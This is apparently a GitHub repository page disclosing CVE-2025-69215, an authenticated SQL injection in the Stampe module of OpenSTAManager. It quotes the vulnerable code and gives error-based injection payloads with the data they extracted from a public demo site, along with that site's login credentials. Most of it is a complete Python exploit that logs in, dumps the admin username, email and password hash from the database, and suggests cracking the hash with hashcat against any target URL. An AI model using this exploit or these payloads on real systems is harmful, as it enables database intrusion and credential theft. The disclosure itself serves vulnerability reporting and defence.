lukasz-rybak/CVE-2025-69215

GitHub: lukasz-rybak/CVE-2025-69215

一个针对 OpenSTAManager Stampe 模块 SQL 注入漏洞的已认证利用与数据提取工具。

Stars: 0 | Forks: 0

# CVE-2025-69215: OpenSTAManager 的 Stampe 模块存在 SQL 注入 ## 概述 | 字段 | 详情 | |---|---| | **CVE ID** | [CVE-2025-69215](https://nvd.nist.gov/vuln/detail/CVE-2025-69215) | | **严重程度** | 高危 | | **安全公告** | [查看公告](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q) | | **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) | ## 影响产品 - **devcode-it/openstamanager**(版本:<= 2.9.8) ## CWE 分类 - CWE-89:在 SQL 命令中未正确净化特殊元素(SQL 注入) ## 详情 ## 漏洞详情 ### 位置 - **文件:** `modules/stampe/actions.php` - **行号:** 26 - **易受攻击的代码:** ``` case 'update': if (!empty(intval(post('predefined'))) && !empty(post('module'))) { $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module')); // ↑ Direct concatenation without prepare() sanitization } ``` ### 根本原因 `module` 参数来自 POST 数据,直接拼接进 SQL UPDATE 查询中,未使用 `prepare()` 净化函数。虽然 `predefined` 参数经过 `intval()` 验证,但 `module` 参数仅进行了 `!empty()` 检查,这**无法防止 SQL 注入**。 **易受攻击的模式:** ``` // Line 25: intval() protects predefined, but module is not sanitized! if (!empty(intval(post('predefined'))) && !empty(post('module'))) { // Line 26: Direct concatenation - VULNERABLE $dbo->query('UPDATE ... WHERE `id_module` = '.post('module')); } ``` ## 利用 ### 易受攻击的端点 ``` POST /modules/stampe/actions.php ``` ### 所需参数 ``` op=update id_record=1 predefined=1 (must be non-zero after intval()) module=[INJECTION_PAYLOAD] title=Test filename=test.pdf ``` ### 身份验证要求 - 需要有效的已认证会话(任何可访问 Stampe 模块的用户) - **已验证:** 具有“技术员”组权限的用户可利用(**非仅管理员**!) - **PoC:** 演示地址 https://demo.osmbusiness.it,凭证 tecnico/tecnicotecnico ### 利用类型 **基于错误的 SQL 注入**,使用 MySQL 的 EXTRACTVALUE/UPDATEXML/GTID_SUBSET 函数 ### 概念验证 #### 方法 1:EXTRACTVALUE(MySQL 5.1+) ``` POST /modules/stampe/actions.php Content-Type: application/x-www-form-urlencoded op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf ``` **结果:** image **提取的数据:** MySQL 版本 `8.3.0` #### 方法 2:GTID_SUBSET(MySQL 5.6+) ``` module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1) ``` **结果:** image **提取的数据:** 数据库名 `openstamanager` #### 方法 3:UPDATEXML(MySQL 5.1+) ``` module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1) ``` **结果:** image **提取的数据:** 数据库用户 `demo_osm@web01.osmbusiness.it` ### 自动化利用 **完整利用脚本:** `exploit_stampe_sqli.py` ``` #!/usr/bin/env python3 """ SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php Usage: python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local """ import requests import re import argparse import sys from html import unescape from urllib.parse import urljoin class StampeSQLiExploit: def __init__(self, base_url, username, password, verbose=False): self.base_url = base_url.rstrip('/') self.username = username self.password = password self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' }) def login(self): """Authenticate with username and password""" login_url = urljoin(self.base_url, '/index.php') if self.verbose: print(f"[DEBUG] Attempting login to {login_url}") print(f"[DEBUG] Username: {self.username}") # First, get the login page to establish session resp = self.session.get(login_url) if self.verbose: print(f"[DEBUG] Initial GET status: {resp.status_code}") # Send login credentials with op=login parameter (required!) login_data = { 'username': self.username, 'password': self.password, 'op': 'login', # Required for OpenSTAManager } resp = self.session.post(login_url, data=login_data, allow_redirects=True) if self.verbose: print(f"[DEBUG] Login POST status: {resp.status_code}") print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}") # Check if login was successful if 'PHPSESSID' not in self.session.cookies: print("[-] Login failed: No session cookie received") return False # Check if we're redirected to dashboard or still on login page if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower(): print("[-] Login failed: Still on login page") if self.verbose: print(f"[DEBUG] Current URL: {resp.url}") return False print(f"[+] Successfully logged in as '{self.username}'") print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}") return True def inject(self, sql_query): """Execute SQL injection payload""" # Use UPDATEXML instead of EXTRACTVALUE (works better on demo) payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)" target_url = urljoin(self.base_url, '/modules/stampe/actions.php') if self.verbose: print(f"[DEBUG] Target: {target_url}") print(f"[DEBUG] Payload: {payload}") response = self.session.post( target_url, data={ "op": "update", "id_record": "1", "predefined": "1", "module": payload, "title": "Test", "filename": "test.pdf" } ) if self.verbose: print(f"[DEBUG] Response status: {response.status_code}") print(f"[DEBUG] Response length: {len(response.text)}") # Unescape HTML entities first response_text = unescape(response.text) # Pattern 1: XPATH syntax error with HTML entities or quotes # Matches: XPATH syntax error: '~data~' or '~data~' xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE) if xpath_match: result = xpath_match.group(1) if self.verbose: print(f"[DEBUG] Extracted via XPATH pattern: {result}") return result # Pattern 2: Look in HTML comments (demo puts errors in comments) # comment_match = re.search(r"", response_text, re.DOTALL | re.IGNORECASE) if comment_match: result = comment_match.group(1) if self.verbose: print(f"[DEBUG] Extracted from HTML comment: {result}") return result # Pattern 3: tags codes = re.findall(r'(.*?)', response_text, re.DOTALL) for code in codes: clean = code.strip() if 'XPATH syntax error' in clean or 'SQLSTATE' in clean: match = re.search(r"~([^~]+)~", clean) if match: result = match.group(1) if self.verbose: print(f"[DEBUG] Extracted from : {result}") return result # Pattern 4: PDOException error format (as shown in user's example) # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~' pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL) if pdo_match: result = pdo_match.group(1) if self.verbose: print(f"[DEBUG] Extracted from PDOException: {result}") return result # Pattern 5: Generic ~...~ markers (last resort) markers = re.findall(r'~([^~]{1,100})~', response_text) if markers: if self.verbose: print(f"[DEBUG] Found generic markers: {markers}") # Filter out HTML/CSS junk for marker in markers: if marker and len(marker) > 2: # Skip common HTML patterns if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']): if self.verbose: print(f"[DEBUG] Using marker: {marker}") return marker if self.verbose: print("[DEBUG] No data extracted from response") # Save response for debugging with open('/tmp/stampe_response_debug.html', 'w') as f: f.write(response.text) print("[DEBUG] Response saved to /tmp/stampe_response_debug.html") return None def dump_info(self): """Dump database information""" queries = [ ("Database Version", "VERSION()"), ("Database Name", "DATABASE()"), ("Current User", "USER()"), ("Admin Username", "SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Admin Email", "SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Admin Password Hash (1-30)", "SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Admin Password Hash (31-60)", "SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"), ("Total Users", "SELECT COUNT(*) FROM zz_users"), ("First Table", "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1"), ] print("="*70) print(" EXPLOITING SQL INJECTION - DATA EXTRACTION") print("="*70) print() results = {} for desc, query in queries: print(f"[*] Extracting: {desc}") print(f" Query: {query}") result = self.inject(query) if result: print(f" ✓ Result: {result}") results[desc] = result else: print(f" ✗ Failed to extract") print() return results def main(): parser = argparse.ArgumentParser( description='OpenSTAManager Stampe Module SQL Injection Exploit', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=''' Examples: # Exploit demo.osmbusiness.it with tecnico user python3 %(prog)s -u tecnico -p tecnicotecnico # Exploit demo with admin credentials python3 %(prog)s -u admin -p admin123 # Exploit custom installation with verbose output python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v ''' ) parser.add_argument('-u', '--username', required=True, help='Username for authentication') parser.add_argument('-p', '--password', required=True, help='Password for authentication') parser.add_argument('--url', default='https://demo.osmbusiness.it', help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output for debugging') args = parser.parse_args() print("╔" + "="*68 + "╗") print("║ SQL Injection Exploit - OpenSTAManager Stampe Module ║") print("║ CVE-PENDING | Authenticated Error-Based SQLi ║") print("╚" + "="*68 + "╝") print() print(f"[*] Target: {args.url}") print(f"[*] Username: {args.username}") print() exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose) # Login first if not exploit.login(): print("\n[-] Authentication failed. Cannot proceed with exploitation.") print("[!] Please check:") print(" 1. Are the credentials correct?") print(" 2. Is the target URL accessible?") print(" 3. Is the user account active?") sys.exit(1) print() # Extract data results = exploit.dump_info() # Summary print("="*70) print(" EXTRACTION SUMMARY") print("="*70) print() if results: for key, value in results.items(): print(f" {key:.<40} {value}") # If we got admin password hash, combine it if "Admin Password Hash (1-30)" in results and "Admin Password Hash (31-60)" in results: full_hash = results["Admin Password Hash (1-30)"] + results["Admin Password Hash (31-60)"] print() print(" " + "="*66) print(f" Full Admin Password Hash: {full_hash}") print(" " + "="*66) print() print(" [!] Crack with hashcat:") print(f" hashcat -m 3200 '{full_hash}' wordlist.txt") else: print(" ✗ No data extracted") if not args.verbose: print("\n [!] Try running with -v flag for debugging information") if __name__ == "__main__": main() ``` ### 贡献者 由 Łukasz Rybak 报告 ## 参考 - https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q - https://nvd.nist.gov/vuln/detail/CVE-2025-69215 - https://github.com/advisories/GHSA-qx9p-w3vj-q24q ## 免责声明 本 CVE 遵循协调漏洞披露(CVD)流程进行负责任披露。此处提供的信息仅用于教育和防御目的。
标签:CISA项目, CVE-2025-69215, CWE-89, devcode-it, OpenSTAManager, OpenVAS, PHP, POST请求, SQL命令注入, Stampe模块, Web漏洞, 参数注入, 模块更新, 漏洞复现, 逆向工具